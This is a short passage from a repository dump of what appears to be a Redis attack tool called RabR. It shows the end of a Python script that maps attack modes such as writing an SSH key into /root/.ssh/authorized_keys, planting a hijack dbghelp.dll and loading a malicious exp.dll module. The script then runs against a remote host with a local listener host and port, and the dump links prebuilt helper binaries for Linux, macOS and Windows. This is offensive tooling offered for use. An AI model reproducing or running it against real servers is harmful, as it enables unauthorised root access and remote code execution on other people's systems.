'sshpubkey_attack':['/root/.ssh/','authorized_keys',options.linuxfile3]} 497 | winfilename = { 498 | 'hijack_attack':['./','dbghelp.dll',options.winfile], 499 | 'module_attack':['./','exp.dll',options.winfile2]} 500 | idontcare = options.idontcare 501 | verbose = options.verbose 502 | run(options.rhost, options.rport, options.lhost, options.lport) 503 | 504 | 505 | if __name__ == '__main__': 506 | print(LOGO) 507 | # if len(sys.argv)==1: 508 | # sys.argv.append('-h') 509 | main() 510 | -------------------------------------------------------------------------------- /util/rd_linux: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/RabR/f5df1730354d69c84a70742079cf31f6569532ed/util/rd_linux -------------------------------------------------------------------------------- /util/rd_osx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/RabR/f5df1730354d69c84a70742079cf31f6569532ed/util/rd_osx -------------------------------------------------------------------------------- /util/rd_win.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/RabR/f5df1730354d69c84a70742079cf31f6569532ed/util/rd_win.exe --------------------------------------------------------------------------------